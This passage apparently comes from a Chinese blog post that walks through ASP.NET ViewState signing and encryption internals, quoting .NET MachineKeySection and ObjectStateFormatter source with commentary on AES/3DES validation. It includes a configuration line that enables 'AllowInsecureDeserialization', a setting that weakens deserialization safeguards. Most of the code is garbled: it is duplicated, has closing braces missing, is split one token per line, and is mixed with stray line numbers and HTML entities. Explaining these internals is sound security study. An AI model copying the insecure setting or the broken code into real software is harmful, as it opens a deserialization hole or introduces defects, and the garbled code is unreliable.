// If we cannot read the registry for any reason, fail safe and assume enforcement is enabled.
return
true
;
}
}
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true" />
</appSettings>
</configuration>
private object Deserialize(string inputString, Purpose purpose) {
if (String.IsNullOrEmpty(inputString)) {
throw new ArgumentNullException("inputString");
byte[] inputBytes = Convert.FromBase64String(inputString);
int length = inputBytes.Length;
#if !FEATURE_PAL // FEATURE_PAL does not enable cryptography
try {
if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !_forceLegacyCryptography) {
// If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.
else {
// Otherwise go through legacy crypto mechanisms
#pragma warning disable 618 // calling obsolete methods
if (_page != null && _page.ContainsEncryptedViewState) {
inputBytes = MachineKeySection.EncryptOrDecryptData(false, inputBytes, GetMacKeyModifier(), 0, length);
length = inputBytes.Length;
// We need to decode if the page has EnableViewStateMac or we got passed in some mac key string
else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
inputBytes = MachineKeySection.GetDecodedData(inputBytes, GetMacKeyModifier(), 0, length, ref length);
#pragma warning restore 618 // calling obsolete methods
catch {
// MSRC 10405: Don't propagate inner exceptions, as they may contain sensitive cryptographic information.
PerfCounters.IncrementCounter(AppPerfCounter.VIEWSTATE_MAC_FAIL);
ViewStateException.ThrowMacValidationError(null, inputString);
#endif // !FEATURE_PAL
object result = null;
MemoryStream objectStream = GetMemoryStream();
try {
objectStream.Write(inputBytes, 0, length);
objectStream.Position = 0;
result = Deserialize(objectStream);
finally {
ReleaseMemoryStream(objectStream);
return result;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
private
object
Deserialize
(
string
inputString
,
Purpose
purpose
)
{
if
(
String
.
IsNullOrEmpty
(
inputString
)
)
{
throw
new
ArgumentNullException
(
"inputString"
)
;
}
byte
[
]
inputBytes
=
Convert
.
FromBase64String
(
inputString
)
;
int
length
=
inputBytes
.
Length
;
#if !FEATURE_PAL // FEATURE_PAL does not enable cryptography
try
{
if
(
AspNetCryptoServiceProvider
.
Instance
.
IsDefaultProvider
&
amp
;
&
amp
;
!
_forceLegacyCryptography
)
{
// If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.
.
.
.
}
else
{
// Otherwise go through legacy crypto mechanisms
#pragma warning disable 618 // calling obsolete methods
if
(
_page
!=
null
&
amp
;
&
amp
;
_page
.
ContainsEncryptedViewState
)
{
inputBytes
=
MachineKeySection
.
EncryptOrDecryptData
(
false
,
inputBytes
,
GetMacKeyModifier
(
)
,
0
,
length
)
;
length
=
inputBytes
.
Length
;
}
// We need to decode if the page has EnableViewStateMac or we got passed in some mac key string
else
if
(
(
_page
!=
null
&
amp
;
&
amp
;
_page
.
EnableViewStateMac
)
||
_macKeyBytes
!=
null
)
{
inputBytes
=
MachineKeySection
.
GetDecodedData
(
inputBytes
,
GetMacKeyModifier
(
)
,
0
,
length
,
ref
length
)
;
}
#pragma warning restore 618 // calling obsolete methods
}
}
catch
{
// MSRC 10405: Don't propagate inner exceptions, as they may contain sensitive cryptographic information.
PerfCounters
.
IncrementCounter
(
AppPerfCounter
.
VIEWSTATE_MAC_FAIL
)
;
ViewStateException
.
ThrowMacValidationError
(
null
,
inputString
)
;
}
#endif // !FEATURE_PAL
object
result
=
null
;
MemoryStream
objectStream
=
GetMemoryStream
(
)
;
try
{
objectStream
.
Write
(
inputBytes
,
0
,
length
)
;
objectStream
.
Position
=
0
;
result
=
Deserialize
(
objectStream
)
;
}
finally
{
ReleaseMemoryStream
(
objectStream
)
;
}
return
result
;
}
else {
// Otherwise go through legacy crypto mechanisms
if (_page != null && _page.ContainsEncryptedViewState) {
inputBytes = MachineKeySection.EncryptOrDecryptData(false, inputBytes, GetMacKeyModifier(), 0, length);
length = inputBytes.Length;
// We need to decode if the page has EnableViewStateMac or we got passed in some mac key string
else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
inputBytes = MachineKeySection.GetDecodedData(inputBytes, GetMacKeyModifier(), 0, length, ref length);
else
{
// Otherwise go through legacy crypto mechanisms
if
(
_page
!=
null
&
amp
;
&
amp
;
_page
.
ContainsEncryptedViewState
)
{
inputBytes
=
MachineKeySection
.
EncryptOrDecryptData
(
false
,
inputBytes
,
GetMacKeyModifier
(
)
,
0
,
length
)
;
length
=
inputBytes
.
Length
;
}
// We need to decode if the page has EnableViewStateMac or we got passed in some mac key string
else
if
(
(
_page
!=
null
&
amp
;
&
amp
;
_page
.
EnableViewStateMac
)
||
_macKeyBytes
!=
null
)
{
inputBytes
=
MachineKeySection
.
GetDecodedData
(
inputBytes
,
GetMacKeyModifier
(
)
,
0
,
length
,
ref
length
)
;
}
}
// Determine if viewstate was encrypted.
if (_requestValueCollection[ViewStateEncryptionID] != null) {
ContainsEncryptedViewState = true;
// NOTE: When encoding the data, this method *may* return the same reference to the input "buf" parameter
// with the hash appended in the end if there's enough space. The "length" parameter would also be
// appropriately adjusted in those cases. This is an optimization to prevent unnecessary copying of
// buffers.
[Obsolete(OBSOLETE_CRYPTO_API_MESSAGE)]
internal static byte[] GetEncodedData(byte[] buf, byte[] modifier, int start, ref int length)
EnsureConfig();
byte[] bHash = HashData(buf, modifier, start, length);
byte[] returnBuffer;
if (buf.Length - start - length >= bHash.Length)
// Append hash to end of buffer if there's space
Buffer.BlockCopy(bHash, 0, buf, start + length, bHash.Length);
returnBuffer = buf;
returnBuffer = new byte[length + bHash.Length];
Buffer.BlockCopy(buf, start, returnBuffer, 0, length);
Buffer.BlockCopy(bHash, 0, returnBuffer, length, bHash.Length);
start = 0;
length += bHash.Length;
if (s_config.Validation == MachineKeyValidation.TripleDES || s_config.Validation == MachineKeyValidation.AES) {
returnBuffer = EncryptOrDecryptData(true, returnBuffer, modifier, start, length, true);
length = returnBuffer.Length;
return returnBuffer;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// NOTE: When encoding the data, this method *may* return the same reference to the input "buf" parameter
// with the hash appended in the end if there's enough space. The "length" parameter would also be
// appropriately adjusted in those cases. This is an optimization to prevent unnecessary copying of
// buffers.
[
Obsolete
(
OBSOLETE_CRYPTO_API_MESSAGE
)
]
internal
static
byte
[
]
GetEncodedData
(
byte
[
]
buf
,
byte
[
]
modifier
,
int
start
,
ref
int
length
)
{
EnsureConfig
(
)
;
byte
[
]
bHash
=
HashData
(
buf
,
modifier
,
start
,
length
)
;
byte
[
]
returnBuffer
;
if
(
buf
.
Length
-
start
-
length
>=
bHash
.
Length
)
{
// Append hash to end of buffer if there's space
Buffer
.
BlockCopy
(
bHash
,
0
,
buf
,
start
+
length
,
bHash
.
Length
)
;
returnBuffer
=
buf
;
}
else
{
returnBuffer
=
new
byte
[
length
+
bHash
.
Length
]
;
Buffer
.
BlockCopy
(
buf
,
start
,
returnBuffer
,
0
,
length
)
;
Buffer
.
BlockCopy
(
bHash
,
0
,
returnBuffer
,
length
,
bHash
.
Length
)
;
start
=
0
;
}
length
+=
bHash
.
Length
;
if
(
s_config
.
Validation
==
MachineKeyValidation
.
TripleDES
||
s_config
.
Validation
==
MachineKeyValidation
.
AES
)
{
returnBuffer
=
EncryptOrDecryptData
(
true
,
returnBuffer
,
modifier
,
start
,
length
,
true
)
;
length
=
returnBuffer
.
Length
;
}
return
returnBuffer
;
}
internal static byte[] HashData(byte[] buf, byte[] modifier, int start, int length)
EnsureConfig();
if (s_config.Validation == MachineKeyValidation.MD5)
return HashDataUsingNonKeyedAlgorithm(null, buf, modifier, start, length, s_validationKey);
if (_UseHMACSHA) {
byte [] hash = GetHMACSHA1Hash(buf, modifier, start, length);
if (hash != null)
return hash;
if (_CustomValidationTypeIsKeyed) {
return HashDataUsingKeyedAlgorithm(KeyedHashAlgorithm.Create(_CustomValidationName),
buf, modifier, start, length, s_validationKey);
} else {
return HashDataUsingNonKeyedAlgorithm(HashAlgorithm.Create(_CustomValidationName),
buf, modifier, start, length, s_validationKey);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
internal
static
byte
[
]
HashData
(
byte
[
]
buf
,
byte
[
]
modifier
,
int
start
,
int
length
)
{
EnsureConfig
(
)
;
if
(
s_config
.
Validation
==
MachineKeyValidation
.
MD5
)
return
HashDataUsingNonKeyedAlgorithm
(
null
,
buf
,
modifier
,
start
,
length
,
s_validationKey
)
;
if
(
_UseHMACSHA
)
{
byte
[
]
hash
=
GetHMACSHA1Hash
(
buf
,
modifier
,
start
,
length
)
;
if
(
hash
!=
null
)
return
hash
;
}
if
(
_CustomValidationTypeIsKeyed
)
{
return
HashDataUsingKeyedAlgorithm
(
KeyedHashAlgorithm
.
Create
(
_CustomValidationName
)
,
buf
,
modifier
,
start
,
length
,
s_validationKey
)
;
}
else
{
return
HashDataUsingNonKeyedAlgorithm
(
HashAlgorithm
.
Create
(
_CustomValidationName
)
,
buf
,
modifier
,
start
,
length
,
s_validationKey
)
;
}
}
private void InitValidationAndEncyptionSizes()
_CustomValidationName = ValidationAlgorithm;
_CustomValidationTypeIsKeyed = true;
switch(ValidationAlgorithm)
case "AES":
case "3DES":
_UseHMACSHA = true;
_HashSize = SHA1_HASH_SIZE;
_AutoGenValidationKeySize = SHA1_KEY_SIZE;
break;
case "SHA1":
_UseHMACSHA = true;
_HashSize = SHA1_HASH_SIZE;
_AutoGenValidationKeySize = SHA1_KEY_SIZE;
break;
case "MD5":
_CustomValidationTypeIsKeyed = false;
_UseHMACSHA = false;
_HashSize = MD5_HASH_SIZE;
_AutoGenValidationKeySize = MD5_KEY_SIZE;
break;
case "HMACSHA256":
_UseHMACSHA = true;
_HashSize = HMACSHA256_HASH_SIZE;
_AutoGenValidationKeySize = HMACSHA256_KEY_SIZE;
break;
case "HMACSHA384":
_UseHMACSHA = true;
_HashSize = HMACSHA384_HASH_SIZE;
_AutoGenValidationKeySize = HMACSHA384_KEY_SIZE;
break;
case "HMACSHA512":
_UseHMACSHA = true;
_HashSize = HMACSHA512_HASH_SIZE;
_AutoGenValidationKeySize = HMACSHA512_KEY_SIZE;
break;
default:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private
void
InitValidationAndEncyptionSizes
(
)
{
_CustomValidationName
=
ValidationAlgorithm
;
_CustomValidationTypeIsKeyed
=
true
;
switch
(
ValidationAlgorithm
)
{
case
"AES"
:
case
"3DES"
:
_UseHMACSHA
=
true
;
_HashSize
=
SHA1_HASH_SIZE
;
_AutoGenValidationKeySize
=
SHA1_KEY_SIZE
;
break
;
case
"SHA1"
:
_UseHMACSHA
=
true
;
_HashSize
=
SHA1_HASH_SIZE
;
_AutoGenValidationKeySize
=
SHA1_KEY_SIZE
;
break
;
case
"MD5"
:
_CustomValidationTypeIsKeyed
=
false
;
_UseHMACSHA
=
false
;
_HashSize
=
MD5_HASH_SIZE
;
_AutoGenValidationKeySize
=
MD5_KEY_SIZE
;
break
;
case
"HMACSHA256"
:
_UseHMACSHA
=
true
;
_HashSize
=
HMACSHA256_HASH_SIZE
;
_AutoGenValidationKeySize
=
HMACSHA256_KEY_SIZE
;
break
;
case
"HMACSHA384"
:
_UseHMACSHA
=
true
;
_HashSize
=
HMACSHA384_HASH_SIZE
;
_AutoGenValidationKeySize
=
HMACSHA384_KEY_SIZE
;
break
;
case
"HMACSHA512"
:
_UseHMACSHA
=
true
;
_HashSize
=
HMACSHA512_HASH_SIZE
;
_AutoGenValidationKeySize
=
HMACSHA512_KEY_SIZE
;
break
;
default
:
.
.
.
private static byte[] HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier,
int start, int length, byte[] validationKey)
int totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0);
byte [] bAll = new byte[totalLength];
Buffer.BlockCopy(buf, start, bAll, 0, length);
if (modifier != null) {
Buffer.BlockCopy(modifier, 0, bAll, length, modifier.Length);
Buffer.BlockCopy(validationKey, 0, bAll, length, validationKey.Length);
if (hashAlgo != null) {
return hashAlgo.ComputeHash(bAll);
} else {
byte[] newHash = new byte[MD5_HASH_SIZE];
int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length);
Marshal.ThrowExceptionForHR(hr);
return newHash;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private
static
byte
[
]
HashDataUsingNonKeyedAlgorithm
(
HashAlgorithm
hashAlgo
,
byte
[
]
buf
,
byte
[
]
modifier
,
int
start
,
int
length
,
byte
[
]
validationKey
)
{
int
totalLength
=
length
+
validationKey
.
Length
+
(
(
modifier
!=
null
)
?
modifier
.
Length
:
0
)
;
byte
[
]
bAll
=
new
byte
[
totalLength
]
;
Buffer
.
BlockCopy
(
buf
,
start
,
bAll
,
0
,
length
)
;
if
(
modifier
!=
null
)
{
Buffer
.
BlockCopy
(
modifier
,
0
,
bAll
,
length
,
modifier
.
Length
)
;
}
Buffer
.
BlockCopy
(
validationKey
,
0
,
bAll
,
length
,
validationKey
.
Length
)
;
if
(
hashAlgo
!=
null
)
{
return
hashAlgo
.
ComputeHash
(
bAll
)
;
}
else
{
byte
[
]
newHash
=
new
byte
[
MD5_HASH_SIZE
]
;
int
hr
=
UnsafeNativeMethods
.
GetSHA1Hash
(
bAll
,
bAll
.
Length
,
newHash
,
newHash
.
Length
)
;
Marshal
.
ThrowExceptionForHR
(
hr
)
;
return
newHash
;
}
}
private const int MD5_KEY_SIZE = 64;
private const int MD5_HASH_SIZE = 16;
private const int SHA1_KEY_SIZE = 64;
private const int HMACSHA256_KEY_SIZE = 64;
private const int HMACSHA384_KEY_SIZE = 128;
private const int HMACSHA512_KEY_SIZE = 128;
private const int SHA1_HASH_SIZE = 20;
private const int HMACSHA256_HASH_SIZE = 32;
private const int HMACSHA384_HASH_SIZE = 48;
private const int HMACSHA512_HASH_SIZE = 64;
private
const
int
MD5_KEY_SIZE
=
64
;
private
const
int
MD5_HASH_SIZE
=
16
;
private
const
int
SHA1_KEY_SIZE
=
64
;
private
const
int
HMACSHA256_KEY_SIZE
=
64
;
private
const
int
HMACSHA384_KEY_SIZE
=
128
;
private
const
int
HMACSHA512_KEY_SIZE
=
128
;
private
const
int
SHA1_HASH_SIZE
=
20
;
private
const
int
HMACSHA256_HASH_SIZE
=
32
;
private
const
int
HMACSHA384_HASH_SIZE
=
48
;
private
const
int
HMACSHA512_HASH_SIZE
=
64
;
private static byte[] GetHMACSHA1Hash(byte[] buf, byte[] modifier, int start, int length) {
if (start < 0 || start > buf.Length)
throw new ArgumentException(SR.GetString(SR.InvalidArgumentValue, "start"));
if (length < 0 || buf == null || (start + length) > buf.Length)
throw new ArgumentException(SR.GetString(SR.InvalidArgumentValue, "length"));
byte[] hash = new byte[_HashSize];
int hr = UnsafeNativeMethods.GetHMACSHA1Hash(buf, start, length,
modifier, (modifier == null) ? 0 : modifier.Length,
s_inner, s_inner.Length, s_outer, s_outer.Length,
hash, hash.Length);
if (hr == 0)
return hash;
_UseHMACSHA = false;
return null;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private
static
byte
[
]
GetHMACSHA1Hash
(
byte
[
]
buf
,
byte
[
]
modifier
,
int
start
,
int
length
)
{
if
(
start
&
lt
;
0
||
start
>
buf
.
Length
)
throw
new
ArgumentException
(
SR
.
GetString
(
SR
.
InvalidArgumentValue
,
"start"
)
)
;
if
(
length
&
lt
;
0
||
buf
==
null
||
(
start
+
length
)
>
buf
.
Length
)
throw
new
ArgumentException
(
SR
.
GetString
(
SR
.
InvalidArgumentValue
,
"length"
)
)
;
byte
[
]
hash
=
new
byte
[
_HashSize
]
;
int
hr
=
UnsafeNativeMethods
.
GetHMACSHA1Hash
(
buf
,
start
,
length
,
modifier
,
(
modifier
==
null
)
?
0
:
modifier
.
Length
,
s_inner
,
s_inner
.
Length
,
s_outer
,
s_outer
.
Length
,
hash
,
hash
.
Length
)
;
if
(
hr
==
0
)
return
hash
;
_UseHMACSHA
=
false
;
return
null
;
}
internal static byte[] EncryptOrDecryptData(bool fEncrypt, byte[] buf, byte[] modifier, int start, int length, bool useValidationSymAlgo, bool useLegacyMode, IVType ivType, bool signData)
/* This algorithm is used to perform encryption or decryption of a buffer, along with optional signing (for encryption)
* or signature verification (for decryption). Possible operation modes are:
* ENCRYPT + SIGN DATA (fEncrypt = true, signData = true)
* Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself)
* Output: E(iv + buf + modifier) + HMAC(E(iv + buf + modifier))
* ONLY ENCRYPT DATA (fEncrypt = true, signData = false)
* Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself)
* Output: E(iv + buf + modifier)
* VERIFY + DECRYPT DATA (fEncrypt = false, signData = true)
* Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data)
* Input (buf): E(iv + m + modifier) + HMAC(E(iv + m + modifier))
* Output: m
* ONLY DECRYPT DATA (fEncrypt = false, signData = false)
* Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data)
* Input (buf): E(iv + plaintext + modifier)
* Output: m
* The 'iv' in the above descriptions isn't an actual IV. Rather, if ivType = IVType.Random, we'll prepend random bytes ('iv')
* to the plaintext before feeding it to the crypto algorithms. Introducing randomness early in the algorithm prevents users
* from inspecting two ciphertexts to see if the plaintexts are related. If ivType = IVType.None, then 'iv' is simply
* an empty string. If ivType = IVType.Hash, we use a non-keyed hash of the plaintext.
* The 'modifier' in the above descriptions is a piece of metadata that should be encrypted along with the plaintext but
* which isn't actually part of the plaintext itself. It can be used for storing things like the user name for whom this
* plaintext was generated, the page that generated the plaintext, etc. On decryption, the modifier parameter is compared
* against the modifier stored in the crypto stream, and it is stripped from the message before the plaintext is returned.
* In all cases, if something goes wrong (e.g. invalid padding, invalid signature, invalid modifier, etc.), a generic exception is thrown.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
internal
static
byte
[
]
EncryptOrDecryptData
(
bool
fEncrypt
,
byte
[
]
buf
,
byte
[
]
modifier
,
int
start
,
int
length
,
bool
useValidationSymAlgo
,
bool
useLegacyMode
,
IVType
ivType
,
bool
signData
)
/* This algorithm is used to perform encryption or decryption of a buffer, along with optional signing (for encryption)
* or signature verification (for decryption). Possible operation modes are:
*
* ENCRYPT + SIGN DATA (fEncrypt = true, signData = true)
* Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself)
* Output: E(iv + buf + modifier) + HMAC(E(iv + buf + modifier))
*
* ONLY ENCRYPT DATA (fEncrypt = true, signData = false)
* Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself)
* Output: E(iv + buf + modifier)
*
* VERIFY + DECRYPT DATA (fEncrypt = false, signData = true)
* Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data)
* Input (buf): E(iv + m + modifier) + HMAC(E(iv + m + modifier))
* Output: m
*
* ONLY DECRYPT DATA (fEncrypt = false, signData = false)
* Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data)
* Input (buf): E(iv + plaintext + modifier)
* Output: m
*
* The 'iv' in the above descriptions isn't an actual IV. Rather, if ivType = IVType.Random, we'll prepend random bytes ('iv')
* to the plaintext before feeding it to the crypto algorithms. Introducing randomness early in the algorithm prevents users
* from inspecting two ciphertexts to see if the plaintexts are related. If ivType = IVType.None, then 'iv' is simply
* an empty string. If ivType = IVType.Hash, we use a non-keyed hash of the plaintext.
*
* The 'modifier' in the above descriptions is a piece of metadata that should be encrypted along with the plaintext but
* which isn't actually part of the plaintext itself. It can be used for storing things like the user name for whom this
* plaintext was generated, the page that generated the plaintext, etc. On decryption, the modifier parameter is compared
* against the modifier stored in the crypto stream, and it is stripped from the message before the plaintext is returned.
*
* In all cases, if something goes wrong (e.g. invalid padding, invalid signature, invalid modifier, etc.), a generic exception is thrown.
*/
细细观察会发现,由于使用了AES/3DES签名算法导致进入 EncryptOrDecryptData () 时,第6个参数 useValidationSymAlgo 为true。意义何在呢?因为先进入GetEncodedData() 函数,说明没有开启加密功能,此时由于使用的是AES/3DES签名算法,导致需要在签名后再次EncryptOrDecryptData () 函数。进入EncryptOrDecryptData() 就需要决定使用什么加密算法。所以第6个参数为true,表示加密使用和签名同样的算法。另外多说一句,这种情况下会有两次签名,在GetEncodedData() 里一次,进入EncryptOrDecryptData() 后又一次(后面会看到)。
下面代码将有关解密和校验的操作隐去,只介绍加密与签名的部分。
// 541~543行
System.IO.MemoryStream ms = new System.IO.MemoryStream();
ICryptoTransform cryptoTransform = GetCryptoTransform(fEncrypt, useValidationSymAlgo, useLegacyMode);
CryptoStream cs = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write);
private static ICryptoTransform GetCryptoTransform(bool fEncrypt, bool useValidationSymAlgo, bool legacyMode)
SymmetricAlgorithm algo = (legacyMode ? s_oSymAlgoLegacy : (useValidationSymAlgo ? s_oSymAlgoValidation : s_oSymAlgoDecryption));
lock(algo)
return (fEncrypt ? algo.CreateEncryptor() : algo.CreateDecryptor());
private
static
ICryptoTransform
GetCryptoTransform
(
bool
fEncrypt
,
bool
useValidationSymAlgo
,
bool
legacyMode
)
{
SymmetricAlgorithm
algo
=
(
legacyMode
?
s_oSymAlgoLegacy
:
(
useValidationSymAlgo
?
s_oSymAlgoValidation
:
s_oSymAlgoDecryption
)
)
;
lock
(
algo
)
return
(
fEncrypt
?
algo
.
CreateEncryptor
(
)
:
algo
.
CreateDecryptor
(
)
)
;
}
s_oSymAlgoDecryption = CryptoAlgorithms.CreateDES();
} else {
s_oSymAlgoDecryption = CryptoAlgorithms.CreateAes();
break;
if (s_oSymAlgoDecryption == null) // Shouldn't happen!
InitValidationAndEncyptionSizes();
switch(Validation)
case MachineKeyValidation.TripleDES:
if (dKey.Length == 8) {
s_oSymAlgoValidation = CryptoAlgorithms.CreateDES();
} else {
s_oSymAlgoValidation = CryptoAlgorithms.CreateTripleDES();
break;
case MachineKeyValidation.AES:
s_oSymAlgoValidation = CryptoAlgorithms.CreateAes();
break;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
switch
(
Decryption
)
{
case
"3DES"
:
s_oSymAlgoDecryption
=
CryptoAlgorithms
.
CreateTripleDES
(
)
;
break
;
case
"DES"
:
s_oSymAlgoDecryption
=
CryptoAlgorithms
.
CreateDES
(
)
;
break
;
case
"AES"
:
s_oSymAlgoDecryption
=
CryptoAlgorithms
.
CreateAes
(
)
;
break
;
case
"Auto"
:
if
(
dKey
.
Length
==
8
)
{
s_oSymAlgoDecryption
=
CryptoAlgorithms
.
CreateDES
(
)
;
}
else
{
s_oSymAlgoDecryption
=
CryptoAlgorithms
.
CreateAes
(
)
;
}
break
;
}
if
(
s_oSymAlgoDecryption
==
null
)
// Shouldn't happen!
InitValidationAndEncyptionSizes
(
)
;
switch
(
Validation
)
{
case
MachineKeyValidation
.
TripleDES
:
if
(
dKey
.
Length
==
8
)
{
s_oSymAlgoValidation
=
CryptoAlgorithms
.
CreateDES
(
)
;
}
else
{
s_oSymAlgoValidation
=
CryptoAlgorithms
.
CreateTripleDES
(
)
;
}
break
;
case
MachineKeyValidation
.
AES
:
s_oSymAlgoValidation
=
CryptoAlgorithms
.
CreateAes
(
)
;
break
;
}
// 第545~579行
// DevDiv Bugs 137864: Add IV to beginning of data to be encrypted.
// IVType.None is used by MembershipProvider which requires compatibility even in SP2 mode (and will set signData = false).
// MSRC 10405: If signData is set to true, we must generate an IV.
bool createIV = signData || ((ivType != IVType.None) && (CompatMode > MachineKeyCompatibilityMode.Framework20SP1));
if (fEncrypt && createIV)
int ivLength = (useValidationSymAlgo ? _IVLengthValidation : _IVLengthDecryption);
byte[] iv = null;
switch (ivType) {
case IVType.Hash:
// iv := H(buf)
iv = GetIVHash(buf, ivLength);
break;
case IVType.Random:
// iv := [random]
iv = new byte[ivLength];
RandomNumberGenerator.GetBytes(iv);
break;
Debug.Assert(iv != null, "Invalid value for IVType: " + ivType.ToString("G"));
cs.Write(iv, 0, iv.Length);
cs.Write(buf, start, length);
if (fEncrypt && modifier != null)
cs.Write(modifier, 0, modifier.Length);
cs.FlushFinalBlock();
byte[] paddedData = ms.ToArray();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 第545~579行
// DevDiv Bugs 137864: Add IV to beginning of data to be encrypted.
// IVType.None is used by MembershipProvider which requires compatibility even in SP2 mode (and will set signData = false).
// MSRC 10405: If signData is set to true, we must generate an IV.
bool
createIV
=
signData
||
(
(
ivType
!=
IVType
.
None
)
&
amp
;
&
amp
;
(
CompatMode
>
MachineKeyCompatibilityMode
.
Framework20SP1
)
)
;
if
(
fEncrypt
&
amp
;
&
amp
;
createIV
)
{
int
ivLength
=
(
useValidationSymAlgo
?
_IVLengthValidation
:
_IVLengthDecryption
)
;
byte
[
]
iv
=
null
;
switch
(
ivType
)
{
case
IVType
.
Hash
:
// iv := H(buf)
iv
=
GetIVHash
(
buf
,
ivLength
)
;
break
;
case
IVType
.
Random
:
// iv := [random]
iv
=
new
byte
[
ivLength
]
;
RandomNumberGenerator
.
GetBytes
(
iv
)
;
break
;
}
Debug
.
Assert
(
iv
!=
null
,
"Invalid value for IVType: "
+
ivType
.
ToString
(
"G"
)
)
;
cs
.
Write
(
iv
,
0
,
iv
.
Length
)
;
}
cs
.
Write
(
buf
,
start
,
length
)
;
if
(
fEncrypt
&
amp
;
&
amp
;
modifier
!=
null
)
{
cs
.
Write
(
modifier
,
0
,
modifier
.
Length
)
;
}
cs
.
FlushFinalBlock
(
)
;
byte
[
]
paddedData
=
ms
.
ToArray
(
)
;
// 第550~644行
// DevDiv Bugs 137864: Strip IV from beginning of unencrypted data
if (!fEncrypt && createIV)
// strip off the first bytes that were random bits
bData = paddedData;
// At this point:
// If fEncrypt = true (encrypting), bData := Enc(iv + buf + modifier)
// If fEncrypt = false (decrypting), bData := plaintext
if (fEncrypt && signData) {
byte[] hmac = HashData(bData, null, 0, bData.Length);
byte[] bData2 = new byte[bData.Length + hmac.Length];
Buffer.BlockCopy(bData, 0, bData2, 0, bData.Length);
Buffer.BlockCopy(hmac, 0, bData2, bData.Length, hmac.Length);
bData = bData2;
// At this point:
// If fEncrypt = true (encrypting), bData := Enc(iv + buf + modifier) + HMAC(Enc(iv + buf + modifier))
// If fEncrypt = false (decrypting), bData := plaintext
// And we're done
return bData;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// 第550~644行
// DevDiv Bugs 137864: Strip IV from beginning of unencrypted data
if
(
!
fEncrypt
&
amp
;
&
amp
;
createIV
)
{
// strip off the first bytes that were random bits
.
.
.
}
else
{
bData
=
paddedData
;
}
.
.
.
// At this point:
// If fEncrypt = true (encrypting), bData := Enc(iv + buf + modifier)
// If fEncrypt = false (decrypting), bData := plaintext
if
(
fEncrypt
&
amp
;
&
amp
;
signData
)
{
byte
[
]
hmac
=
HashData
(
bData
,
null
,
0
,
bData
.
Length
)
;
byte
[
]
bData2
=
new
byte
[
bData
.
Length
+
hmac
.
Length
]
;
Buffer
.
BlockCopy
(
bData
,
0
,
bData2
,
0
,
bData
.
Length
)
;
Buffer
.
BlockCopy
(
hmac
,
0
,
bData2
,
bData
.
Length
,
hmac
.
Length
)
;
bData
=
bData2
;
}
// At this point:
// If fEncrypt = true (encrypting), bData := Enc(iv + buf + modifier) + HMAC(Enc(iv + buf + modifier))
// If fEncrypt = false (decrypting), bData := plaintext
// And we're done
return
bData
;
// This will return the MacKeyModifier provided in the LOSFormatter constructor or
// generate one from Page if EnableViewStateMac is true.
private byte[] GetMacKeyModifier() {
if (_macKeyBytes == null) {
// Only generate a MacKeyModifier if we have a page
if (_page == null) {
return null;
// Note: duplicated (somewhat) in GetSpecificPurposes, keep in sync
// Use the page's directory and class name as part of the key (ASURT 64044)
uint pageHashCode = _page.GetClientStateIdentifier();
string viewStateUserKey = _page.ViewStateUserKey;
if (viewStateUserKey != null) {
// Modify the key with the ViewStateUserKey, if any (ASURT 126375)
int count = Encoding.Unicode.GetByteCount(viewStateUserKey);
_macKeyBytes = new byte[count + 4];
Encoding.Unicode.GetBytes(viewStateUserKey, 0, viewStateUserKey.Length, _macKeyBytes, 4);
else {
_macKeyBytes = new byte[4];
_macKeyBytes[0] = (byte)pageHashCode;
_macKeyBytes[1] = (byte)(pageHashCode >> 8);
_macKeyBytes[2] = (byte)(pageHashCode >> 16);
_macKeyBytes[3] = (byte)(pageHashCode >> 24);
return _macKeyBytes;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// This will return the MacKeyModifier provided in the LOSFormatter constructor or
// generate one from Page if EnableViewStateMac is true.
private
byte
[
]
GetMacKeyModifier
(
)
{
if
(
_macKeyBytes
==
null
)
{
// Only generate a MacKeyModifier if we have a page
if
(
_page
==
null
)
{
return
null
;
}
// Note: duplicated (somewhat) in GetSpecificPurposes, keep in sync
// Use the page's directory and class name as part of the key (ASURT 64044)
uint
pageHashCode
=
_page
.
GetClientStateIdentifier
(
)
;
string
viewStateUserKey
=
